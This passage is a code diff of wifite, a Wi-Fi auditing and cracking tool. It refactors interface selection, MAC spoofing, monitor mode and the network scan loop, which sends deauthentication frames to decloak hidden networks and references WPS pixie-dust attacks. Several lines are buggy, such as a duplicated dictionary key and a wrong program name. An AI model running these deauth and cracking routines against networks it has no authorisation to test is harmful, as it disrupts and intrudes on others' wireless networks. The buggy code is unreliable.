this_file + '''\n - ''') - f.close() - - # Change permissions on the script - returncode = call(['chmod', '+x', 'update_wifite.sh']) - if returncode != 0: - print R + ' [!]' + O + ' permission change returned unexpected code: ' + str(returncode) + W - self.exit_gracefully(1) - # Run the script - returncode = call(['sh', 'update_wifite.sh']) - if returncode != 0: - print R + ' [!]' + O + ' upgrade script returned unexpected code: ' + str(returncode) + W - self.exit_gracefully(1) - - print GR + ' [+] ' + G + 'updated!' + W + ' type "./' + this_file + '" to run again' + print GR + ' [+] ' + G + 'upgrading...' + W + do_update(buff[latest_rev_index]) else: - print GR + ' [-]' + W + ' your copy of wifite is ' + G + 'up to date' + W + if(len(buffs)): + println_info('your copy of wifite is ' + G + 'up to date' + W) + else: + println_warning('Unable to access any update sites.') except KeyboardInterrupt: - print R + '\n (^C)' + O + ' wifite upgrade interrupted' + W + print R + '\n (^C)' + O + ' wifite update interrupted' + W self.exit_gracefully(0) @@ -822,77 +1007,82 @@ def __init__(self, run_config): self.RUN_CONFIG = run_config self.RUN_CONFIG.RUN_ENGINE = self - def initial_check(self): + def programs_check(self): """ Ensures required programs are installed. """ - airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng'] - for air in airs: - if program_exists(air): continue - print R + ' [!]' + O + ' required program not found: %s' % (R + air + W) - print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W - print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W - print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W - self.RUN_CONFIG.exit_gracefully(1) - - if not program_exists('iw'): - print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W) - self.RUN_CONFIG.exit_gracefully(1) - - printed = False - # Check reaver - if not program_exists('reaver'): - printed = True - print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W - print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W - self.RUN_CONFIG.WPS_DISABLE = True - elif not program_exists('walsh') and not program_exists('wash'): - printed = True - print R + ' [!]' + O + ' reaver\'s scanning tool ' + R + 'walsh' + O + ' (or ' + R + 'wash' + O + ') was not found' + W - print R + ' [!]' + O + ' please re-install reaver or install walsh/wash separately' + W + programs=[ + { 'name':'aircrack-ng', 'url': 'http://www.aircrack-ng.org', 'install':['sudo','apt-get','install','aircrack-ng'], 'files': ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng'], 'critical': True }, + { 'name':'iw', 'url': '','install':'apt-get install aircrack-ng','install':['sudo','apt-get','install','iw'], 'files': ['iw'], 'critical': True }, + { 'name':'reaver', 'url': 'http://code.google.com/p/reaver-wps','install':['sudo','apt-get','install','reaver'], 'files': ['reaver',['walsh','wash']], 'critical': True }, + { 'name':'cowpatty', 'url': 'http://sf.net/cowpatty', 'install':['sudo','apt-get','install','cowpatty'], 'files': ['cowpatty'], 'critical': False}, + { 'name':'pyrit', 'url': 'http://code.google.com/p/pyrit', 'install':['sudo','apt-get','install','pyrit'], 'files': ['pyrit'], 'critical': False }, + { 'name':'tshark', 'url':'http://www.wireshark.org', 'install':['sudo','apt-get','install','wireshark'], 'files': ['cowpatty'], 'critical': False }, + { 'name':'pixiewps', 'url':'https://github.com/wiire/pixiewps', 'install':['sudo','apt-get','install','pixiewps'], 'files': ['pixiewps'], 'critical': False, 'message': 'Without this program, WPS pixie dust attack will not work!' } + ] + incomplete=[] + for program in programs: + println_debug("checking " + program['name']) + not_found=[] + message = '' + for f in program['files']: + if isinstance(f,list): + found=False + for p in f: + println_debug("checking " + p) + if file_search(p): + found=True + if not found: + not_found+=f + else: + if not file_search(f): + not_found.append(f) + if len(not_found): + incomplete.append(program) + message='program "%s"' % ("\",\"".join(not_found)) + if not program['name'] in program['files']: + ' from "%s" suite' + message += ' cannot be found!' + if program['url'] != '': + message += ' You may obtain it from "%s".' % (G + program['url'] + R) + if program['message']: + message += program['message'] + if program['critical']: + println_error(message) + else: + println_warning(message) + + if len(program['install']): + response = raw_input(GR + ' [+]' + W + ' do you want to install it now? (y/n): ') + if response.lower().startswith('y'): + result=call(program['install']) + + if program['critical'] and result != 0: + return False + else: + if program['critical']: + return False + + else: + if program['critical']: + return False + #self.RUN_CONFIG.exit_gracefully(1) + return True + # printed = False + # # Check reaver + # if not file_search('reaver'): + # printed = True + # println_error('the program ' + R + 'reaver' + O + ' is required for WPS attacks') + # print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W + # self.RUN_CONFIG.WPS_ATTACK_DISABLE = True + # elif not file_search('walsh') and not file_search('wash'): + # printed = True + # println_error('reaver\'s scanning tool ' + R + 'walsh' + O + ' (or ' + R + 'wash' + O + ') was not found') + # println_error('please re-install reaver or install walsh/wash separately') # Check handshake-checking apps - recs = ['tshark', 'pyrit', 'cowpatty'] - for rec in recs: - if program_exists(rec): continue - printed = True - print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W) - if printed: print '' - - def enable_monitor_mode(self, iface): - """ - First attempts to anonymize the MAC if requested; MACs cannot - be anonymized if they're already in monitor mode. - Uses airmon-ng to put a device into Monitor Mode. - Then uses the get_iface() method to retrieve the new interface's name. - Sets global variable IFACE_TO_TAKE_DOWN as well. - Returns the name of the interface in monitor mode. - """ - mac_anonymize(iface) - print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W), - stdout.flush() - call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN) - print 'done' - self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart - self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface() - if self.RUN_CONFIG.TX_POWER > 0: - print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W), - call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG) - call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG) - print 'done' - return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN - - def disable_monitor_mode(self): - """ - The program may have enabled monitor mode on a wireless interface. - We want to disable this before we exit, so we will do that. - """ - if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return - print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W), - stdout.flush() - call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN) - print 'done' + def rtl8187_fix(self, iface): """ Attempts to solve "Unknown error 132" common with RTL8187 devices. @@ -905,16 +1095,16 @@ def rtl8187_fix(self, iface): using_rtl8187 = False for line in proc_airmon.communicate()[0].split(): line = line.upper() - if line.strip() == '' or line.startswith('INTERFACE'): continue + if line.strip() == '' or line.startswith('INTERFACE') or line.startswith('PHY'): continue if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True if not using_rtl8187: # Display error message and exit - print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W - print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W + println_error('unable to generate airodump-ng CSV file') + println_error('you may want to disconnect/reconnect your wifi device') self.RUN_CONFIG.exit_gracefully(1) - print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..." + println_warning("attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix...") original_iface = iface # Take device out of monitor mode @@ -937,10 +1127,24 @@ def rtl8187_fix(self, iface): print_and_exec(['airmon-ng', 'start', original_iface]) print '\r \r', - print O + ' [!] ' + W + 'restarting scan...\n' + println_warning('restarting scan...\n') return True - + def list_iface(self): + proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) + iface = '' + monitors = [] + adapters = [] + for line in proc.communicate()[0].split('\n'): + + if len(line) == 0: continue + if ord(line[0]) != 32: # Doesn't start with space + iface = line[:line.find(' ')] # is the interface + if line.find('Mode:Monitor') != -1 or re.match(".*wlan\d+mon",line): + monitors.append(iface) + else: + adapters.append(iface) + return (monitors, adapters) def get_iface(self): """ Get the wireless interface in monitor mode. @@ -951,82 +1155,109 @@ def get_iface(self): Returns the name (string) of the interface chosen in monitor mode. """ if not self.RUN_CONFIG.PRINTED_SCANNING: - print GR + ' [+]' + W + ' scanning for wireless devices...' + println_info('scanning for wireless devices...') self.RUN_CONFIG.PRINTED_SCANNING = True - proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) - iface = '' - monitors = [] - adapters = [] - for line in proc.communicate()[0].split('\n'): - if len(line) == 0: continue - if ord(line[0]) != 32: # Doesn't start with space - iface = line[:line.find(' ')] # is the interface - if line.find('Mode:Monitor') != -1: - monitors.append(iface) - else: - adapters.append(iface) - + (monitors, adapters) = self.list_iface() + if self.RUN_CONFIG.WIRELESS_IFACE != '': - if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE): - return self.RUN_CONFIG.WIRELESS_IFACE + if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) or adapters.count(self.RUN_CONFIG.WIRELESS_IFACE): + iface=Interface(self.RUN_CONFIG.WIRELESS_IFACE) + + #elif adapters.count(self.RUN_CONFIG.WIRELESS_IFACE): + + # iface=Interface(self.RUN_CONFIG.WIRELESS_IFACE) else: - if self.RUN_CONFIG.WIRELESS_IFACE in adapters: - # valid adapter, enable monitor mode - print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % ( - R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O) - return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE) + println_error('could not find wireless interface %s' % ( + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)) + self.RUN_CONFIG.exit_gracefully(0) + else: + if len(monitors) == 1: + iface=monitors[0] # Default to only device in monitor mode + elif len(monitors) > 1: + println_info("interfaces in " + G + "monitor mode:" + W) + for i, monitor in enumerate(monitors): + print " %s. %s" % (G + str(i + 1) + W, G + monitor + W) + ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \ + (GR, W, G, W, G, len(monitors), W, G)) + while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): + ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \ + (GR, W, G, len(monitors), W, G)) + i = int(ri) + iface= monitors[i - 1] + else: # len(monitors) == 0 + if len(adapters) == 1: + iface=adapters[0] + elif len(adapters) > 1: + println_info("available interfaces:") + for i, monitor in enumerate(adapters): + print " %s. %s" % (G + str(i + 1) + W, G + monitor + W) + ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \ + (GR, W, G, W, G, len(adapters), W, G)) + while not ri.isdigit() or int(ri) < 1 or int(ri) > len(adapters): + ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \ + (GR, W, G, len(adapters), W, G)) + i = int(ri) + iface= adapters[i - 1] else: - # couldnt find the requested adapter - print R + ' [!]' + O + ' could not find wireless interface %s' % ( - '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W) + println_error('could not find any wireless interfaces') self.RUN_CONFIG.exit_gracefully(0) - - if len(monitors) == 1: - return monitors[0] # Default to only device in monitor mode - elif len(monitors) > 1: - print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W - for i, monitor in enumerate(monitors): - print " %s. %s" % (G + str(i + 1) + W, G + monitor + W) - ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \ - (GR, W, G, W, G, len(monitors), W, G)) - while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): - ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \ - (GR, W, G, len(monitors), W, G)) - i = int(ri) - return monitors[i - 1] - - proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) - for line in proc.communicate()[0].split('\n'): - if len(line) == 0 or line.startswith('Interface'): continue - monitors.append(line) - - if len(monitors) == 0: - print R + ' [!]' + O + " no wireless interfaces were found." + W - print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W - self.RUN_CONFIG.exit_gracefully(0) - elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0: - monitor = monitors[0][:monitors[0].find('\t')] - return self.enable_monitor_mode(monitor) - - elif len(monitors) == 1: - monitor = monitors[0][:monitors[0].find('\t')] - return self.enable_monitor_mode(monitor) - - print GR + " [+]" + W + " available wireless devices:" - for i, monitor in enumerate(monitors): - print " %s%d%s. %s" % (G, i + 1, W, monitor) - - ri = raw_input( - GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) - while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): - ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) - i = int(ri) - monitor = monitors[i - 1][:monitors[i - 1].find('\t')] - - return self.enable_monitor_mode(monitor) - - def scan(self, channel=0, iface='', tried_rtl8187_fix=False): + # proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) + # for line in proc.communicate()[0].split('\n'): + # if len(line) == 0 or line.startswith('Interface'): continue + # monitors.append(line) + + # if len(monitors) == 0: + # println_error("no wireless interfaces were found." + W) + # println_error("you need to plug in a wifi device or install drivers.\n" + W) + # self.RUN_CONFIG.exit_gracefully(0) + # elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0: + # monitor = monitors[0][:monitors[0].find('\t')] + # return self.enable_monitor_mode(monitor) + + # elif len(monitors) == 1: + # monitor = monitors[0][:monitors[0].find('\t')] + # return self.enable_monitor_mode(monitor) + + # println_info("available wireless devices:") + # for i, monitor in enumerate(monitors): + # print " %s%d%s. %s" % (G, i + 1, W, monitor) + + # ri = raw_input( + # GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) + # while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): + # ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) + # i = int(ri) + # iface=monitors[i - 1] + + iface=Interface(iface) + if not self.RUN_CONFIG.DO_NOT_CHANGE_MAC and not iface.is_monitor_mode(): + new_mac=iface.random_mac(iface.original_mac) + print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface.iface + W , G + iface.original_mac + W, O + new_mac + W), + stdout.flush() + iface.set_mac(new_mac) + print 'done' + + if not iface.is_monitor_mode(): + print_info('enabling monitor mode on %s...' % (G + iface.iface + W)) + iface=iface.enable_monitor_mode() + if iface == False: + print "failed!" + self.RUN_CONFIG.exit_gracefully(1) + else: + #print iface + print 'done' + else: + print_info('interface %s already in monitor mode!\n' % (G + iface.iface + W)) + + if self.RUN_CONFIG.TX_POWER > 0: + print_info('setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W)) + iface.set_power(self.RUN_CONFIG.TX_POWER) + print 'done' + return iface + #return self.enable_monitor_mode(monitor) + + def scan(self, iface,channel=0, tried_rtl8187_fix=False): """ Scans for access points. Asks user to select target(s). "channel" - the channel to scan on, 0 scans all channels. @@ -1034,228 +1265,266 @@ def scan(self, channel=0, iface='', tried_rtl8187_fix=False): "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132" Returns list of selected targets and list of clients. """ - remove_airodump_files(self.RUN_CONFIG.temp + 'wifite') - - command = ['airodump-ng', - '-a', # only show associated clients - '-w', self.RUN_CONFIG.temp + 'wifite'] # output file - if channel != 0: - command.append('-c') - command.append(str(channel)) - command.append(iface) - - proc = Popen(command, stdout=DN, stderr=DN) - - time_started = time.time() - print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.' - (targets, clients) = ([], []) - try: - deauth_sent = 0.0 - old_targets = [] - stop_scanning = False - while True: - time.sleep(0.3) - if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0: - print R + '\n [!] ERROR!' + W - # RTL8187 Unknown Error 132 FIX - if proc.poll() is not None: # Check if process has finished - proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE) - if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1: - send_interrupt(proc) - if self.rtl8187_fix(iface): - return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True) - print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W - print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W - self.RUN_CONFIG.exit_gracefully(1) - - (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv') - - # Remove any already cracked networks if configured to do so - if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False: - index = 0 - while index < len(targets): - already = False - for cracked in self.RUN_CONFIG.CRACKED_TARGETS: - if targets[index].ssid.lower() == cracked.ssid.lower(): - already = True - if targets[index].bssid.lower() == cracked.bssid.lower(): - already = True - if already == True: - targets.pop(index) - index -= 1 - index += 1 - - # If we are targeting a specific ESSID/BSSID, skip the scan once we find it. - if self.RUN_CONFIG.TARGET_ESSID != '': - for t in targets: - if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower(): - send_interrupt(proc) - try: - os.kill(proc.pid, SIGTERM) - except OSError: - pass - except UnboundLocalError: - pass - targets = [t] - stop_scanning = True - break - if self.RUN_CONFIG.TARGET_BSSID != '': - for t in targets: - if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower(): - send_interrupt(proc) - try: - os.kill(proc.pid, SIGTERM) - except OSError: - pass - except UnboundLocalError: - pass - targets = [t] - stop_scanning = True - break - - # If user has chosen to target all access points, wait 20 seconds, then return all - if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10: - print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % ( - G, len(targets), W, '' if len(targets) == 1 else 's') - stop_scanning = True - - if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10: - # Remove targets with power < threshold - i = 0 - before_count = len(targets) - while i < len(targets): - if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER: - targets.pop(i) - else: - i += 1 - print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \ - (G + str(before_count - len(targets)) + W, - self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W) - stop_scanning = True - - if stop_scanning: break - - # If there are unknown SSIDs, send deauths to them. - if channel != 0 and time.time() - deauth_sent > 5: - deauth_sent = time.time() - for t in targets: - if t.ssid == '': - print "\r %s deauthing hidden access point (%s) \r" % \ - (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W), - stdout.flush() - # Time to deauth - cmd = ['aireplay-ng', - '--ignore-negative-one', - '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), - '-a', t.bssid] + + if self.RUN_CONFIG.SCAN_FILE_LOAD == "": + remove_airodump_files(self.RUN_CONFIG.temp + 'wifite') + + command = ['airodump-ng', + '-a', # only show associated clients + '-w', self.RUN_CONFIG.temp + 'wifite'] # output file + if channel != 0: + command.append('-c') + command.append(str(channel)) + command.append(iface.iface) + + proc = Popen(command, stdout=DN, stderr=DN) + + time_started = time.time() + println_info('initializing scan' + W + ' (' + G + iface.iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.') + (targets, clients) = ([], []) + try: + deauth_sent_targets = [] + deauth_sent_targets_time=[] + last_print_time=time.time() + old_targets = [] + + stop_scanning = False + while True: + time.sleep(0.3) + force_print = False + cracked_targets=[] + num_of_filtered_targets=0 + messages=[] + if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0: + println_error('ERROR!') + # RTL8187 Unknown Error 132 FIX + if proc.poll() is not None: # Check if process has finished + proc = Popen(['airodump-ng', iface.iface], stdout=DN, stderr=PIPE) + if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1: + send_interrupt(proc) + if iface.rtl8187_fix(): + return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True) + println_error('unable to generate airodump-ng output files') + println_error('you may want to disconnect/reconnect your wifi device') + self.RUN_CONFIG.exit_gracefully(1) + + println_debug("Parsing CSV...") + (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv') + + total_targets=len(targets) + + if self.RUN_CONFIG.SHOW_TARGET != "": + targets=self.filter_targets(targets,clients,self.RUN_CONFIG.SHOW_TARGET) + if(len(targets) != total_targets): + num_of_filtered_targets=total_targets - len(targets) + #messages.append( GR + ' [+]' + W + ' %s targets removed from %s targets by show filter %s, %s remain' % \ + # (G + str(total_targets - len(targets)) + W, G + str(total_targets) + W, + # G + self.RUN_CONFIG.SHOW_TARGET + W, G + str(len(targets))+ W)) + + + # Remove any already cracked networks if configured to do so + println_debug("Checking and removing cracked from %d found targets" % len(targets)) + if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False: + for target in targets: + for cracked in self.RUN_CONFIG.CRACKED_TARGETS: + if target.ssid == cracked.ssid and target.bssid.lower() == cracked.bssid.lower(): + cracked_targets.append(target) + try: + targets.remove(target) + except ValueError: + pass + #println_debug(cracked.ssid + " removed!") + + #if(len(targets) != total_targets): + # messages.append( GR + ' [+]' + W + ' %s cracked targets removed from %s targets, %s remain' % \ + # (G + str(total_targets - len(targets)) + W, G + str(total_targets) + W, + # G + str(len(targets)) + W)) + # If we are targeting a specific ESSID/BSSID, skip the scan once we find it. + println_debug("Checking target SSID...") + if self.RUN_CONFIG.TARGET_ESSID != '': + for t in targets: + if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower(): + send_interrupt(proc) + try: + os.kill(proc.pid, SIGTERM) + except OSError: + pass + except UnboundLocalError: + pass + targets = [t] + stop_scanning = True + break + + println_debug("Checking target BSSID...") + if self.RUN_CONFIG.TARGET_BSSID != '': + for t in targets: + if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower(): + send_interrupt(proc) + try: + os.kill(proc.pid, SIGTERM) + except OSError: + pass + except UnboundLocalError: + pass + targets = [t] + stop_scanning = True + break + + # If user has chosen to target all access points, wait 20 seconds, then return all + #if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10: + # print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % ( + # G, len(targets), W, '' if len(targets) == 1 else 's') + # stop_scanning = True + ''' + if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10: + # Remove targets with power < threshold + i = 0 + before_count = len(targets) + while i < len(targets): + if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER: + targets.pop(i) + else: + i += 1 + print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \ + (G + str(before_count - len(targets)) + W, + self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets))) + stop_scanning = True + ''' + ''' + if time.time() - time_started > 20 or stop_scanning == True: + index = 0 + before_count=len(targets) + while index < len(targets): + keep=False for c in clients: - if c.station == t.bssid: - cmd.append('-c') - cmd.append(c.bssid) + if targets[index].encryption.find("WPA") == -1: + keep=True + break + if c.station == targets[index].bssid: + keep=True + break + if keep==False: + targets.pop(index) + index-=1 + index+=1 + print GR + '\n [+]' + W + ' removed %s targets without client, %s remain' % \ + (G + str(before_count - len(targets)) + W, + G + str(len(targets))) + ''' + + if stop_scanning: break + println_debug('Checking unknwon SSIDs...\n') + #print vars(targets) + + # If there are unknown SSIDs, send deauths to them. + #if time.time() - deauth_sent > 5: # channel != 0 and + #deauth_sent = time.time() + #''' + targets=self.add_known_ssid(targets) + for target in targets: + if target.ssid == '': + println_debug("target has blank ssid: " + target.bssid) + deauth=True + #Remove expired records + for i,deauth_sent_target in enumerate(deauth_sent_targets): + if time.time() - deauth_sent_targets_time[i] > self.RUN_CONFIG.SCAN_DEAUTH_TIMEOUT: + println_debug(deauth_sent_target.ssid + " " + deauth_sent_target.bssid + " removed!") + deauth_sent_targets.remove(deauth_sent_target) + deauth_sent_targets_time.remove(deauth_sent_targets_time[i]) + + #continue + #Check if target has been deauthed recently + for i,deauth_sent_target in enumerate(deauth_sent_targets): + if deauth_sent_target.bssid == target.bssid: + println_debug("skipped: " + deauth_sent_target.ssid + " " + deauth_sent_target.bssid) + deauth=False break - cmd.append(iface) - proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) - proc_aireplay.wait() - time.sleep(0.5) + + if deauth: + println_debug("deauthing %s (%s)" % (target.ssid, target.bssid)) + messages +=self.deauth(target,clients,time_started,iface.iface) + deauth_sent_targets.append(target) + deauth_sent_targets_time.append(time.time()) + + #time.sleep(0.5) else: for ot in old_targets: - if ot.ssid == '' and ot.bssid == t.bssid: - print '\r %s successfully decloaked "%s" ' % \ - (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W) - - old_targets = targets[:] - if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0: - targets = sorted(targets, key=lambda t: t.power, reverse=True) - if not self.RUN_CONFIG.WPS_DISABLE: - wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False) - - os.system('clear') - print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n' - print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ( - 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') - print ' --- -------------------- %s-- ---- ----- ---- ------' % ( - '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') - for i, target in enumerate(targets): - print " %s%2d%s " % (G, i + 1, W), - # SSID - if target.ssid == '': - p = O + '(' + target.bssid + ')' + GR + ' ' + W - print '%s' % p.ljust(20), - elif ( target.ssid.count('\x00') == len(target.ssid) ): - p = '' - print '%s' % C + p.ljust(20) + W, - elif len(target.ssid) <= 20: - print "%s" % C + target.ssid.ljust(20) + W, - else: - print "%s" % C + target.ssid[0:17] + '...' + W, - # BSSID - if self.RUN_CONFIG.SHOW_MAC_IN_SCAN: - print O, target.bssid + W, - # Channel - print G + target.channel.rjust(3), W, - # Encryption - if target.encryption.find("WEP") != -1: - print G, - else: - print O, - print "\b%3s" % target.encryption.strip().ljust(4) + W, - # Power - if target.power >= 55: - col = G - elif target.power >= 40: - col = O - else: - col = R - print "%s%3ddb%s" % (col, target.power, W), - # WPS - if self.RUN_CONFIG.WPS_DISABLE: - print " %3s" % (O + 'n/a' + W), - else: - print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W), - # Clients - client_text = '' - for c in clients: - if c.station == target.bssid: - if client_text == '': - client_text = 'client' - elif client_text[-1] != "s": - client_text += "s" - if client_text != '': - print ' %s' % (G + client_text + W) - else: - print '' - print '' - print ' %s %s wireless networks. %s target%s and %s client%s found \r' % ( - GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W, - G + str(len(targets)) + W, '' if len(targets) == 1 else 's', - G + str(len(clients)) + W, '' if len(clients) == 1 else 's'), + if ot.ssid == '' and ot.bssid == target.bssid: + messages.append( ' [!] %s successfully decloaked "%s" (%s)' % \ + (GR + sec_to_hms(time.time() - time_started) + W, G + target.ssid + W, G + target.bssid)) + #Save decloaked result + RUN_CONFIG.save_decloaked(target) + force_print = True + time.sleep(2) + println_debug ('Checking WPS...\n') + if len(targets) > 0: + if not self.RUN_CONFIG.WPS_CHECK_DISABLE: + wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', False) #self.RUN_CONFIG.VERBOSE_APS) + + println_debug('Checking if should print... %s %d %d %d' % (str(force_print), len(old_targets), len(targets),time.time() - last_print_time )) + if force_print or len(old_targets) != len(targets) or time.time() - last_print_time > 5 : + os.system('clear') + targets = sorted(targets, key=lambda t: t.power, reverse=True) + self.print_targets(targets, clients, self.RUN_CONFIG.SCAN_MAX_ROW_SHOW, self.RUN_CONFIG.COLUMN,self.RUN_CONFIG.SPACING) + + print(' %s %s wireless networks. %s target%s and %s client%s found. %s %s' % ( + GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W, + G + str(len(targets)) + W, '' if len(targets) == 1 else 's', + G + str(len(clients)) + W, '' if len(clients) == 1 else 's', + '' if len(cracked_targets) == 0 else '(' + G + str(len(cracked_targets)) + W + ' cracked targets removed)', + '' if num_of_filtered_targets == 0 else '(' + G + str(num_of_filtered_targets) + W + ' targets filtered)' + )) + + print "\n".join(messages) + last_print_time=time.time() + else: + if len(messages): + print "\n".join(messages) + #println_debug('%s Time passed... %s %s %s' % (GR + sec_to_hms(time.time() - time_started) + W, str(len(targets)),str(len(clients)),str(self.RUN_CONFIG.SCAN_TIMEOUT))) + stdout.flush() + old_targets = targets[:] + println_debug('Checking if timeout...') + if self.is_timeout(time_started, targets, clients, True): + break - stdout.flush() - except KeyboardInterrupt: - pass - print '' + except KeyboardInterrupt: + #print "KeyboardInterrupt" + pass + # except: + # print "Unknown error: " + vars(sys.exec_info()) + # raise + print '' - send_interrupt(proc) - try: - os.kill(proc.pid, SIGTERM) - except OSError: - pass - except UnboundLocalError: - pass + send_interrupt(proc) + try: + os.kill(proc.pid, SIGTERM) + except OSError: + pass + except UnboundLocalError: + pass - # Use "wash" program to check for WPS compatibility - if not self.RUN_CONFIG.WPS_DISABLE: - wps_check_targets(targets, self.RUN_CONFIG.temp + 